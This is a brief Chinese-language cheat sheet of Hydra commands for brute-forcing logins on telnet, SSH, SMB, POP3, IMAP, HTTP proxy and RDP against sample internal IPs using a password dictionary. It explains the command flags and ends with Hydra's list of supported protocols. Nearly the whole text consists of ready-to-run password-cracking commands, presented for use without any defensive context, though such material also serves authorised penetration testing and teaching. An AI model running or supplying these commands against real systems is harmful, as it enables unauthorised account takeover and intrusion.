1 破解telnet服务登陆账号和密码
使用命令:hydra 192.168.43.133 -l telnet -P p.txt telnet
命令解释:被攻击主机IP是192.168.43.133,小写-l 指定登陆账号,大写-L则可以指定文件进行账号破解,大写-P指定要破解的密码字典,如果是用小写-p参数则指定具体的密码。账号破解出来了是telnet,密码也是telnet。也可以用-o参数来指定破解的结果写入到一个文件中去。
2 破解ssh服务登陆账号和密码
使用命令:hydra 127.0.0.1 -l root -P p.txt ssh
命令解说:破解本机的ssh登陆账号和密码,账号指定为root,密码用字典进行攻击。
3 破解smb服务登陆账号和密码
使用命令:hydra 127.0.0.1 -l root -P p.txt smb
4 破解pop3服务登陆账号和密码
使用命令:hydra -l root -P p.txt my.pop3.mail pop3
5 破解imap服务登陆账号和密码
使用命令:hydra -l root -P p.txt 192.168.1.30 imap
6 破解http-proxy服务登陆账号和密码
使用命令:hydra -l root -P p.txt http-proxy://192.168.1.20
7 破解RDP服务登陆账号和密码
使用命令:hydra -l root -P p.txt 192.168.1.30 rdp
8 附件-hydra支持破解的协议
Hydra主要支持破解以下协议的登陆账号和密码:
Supported services: asterisk cisco cisco-enablecvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxyhttp-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssqlmysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdpredis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkeyteamspeak telnet[s] vmauthd vnc xmpp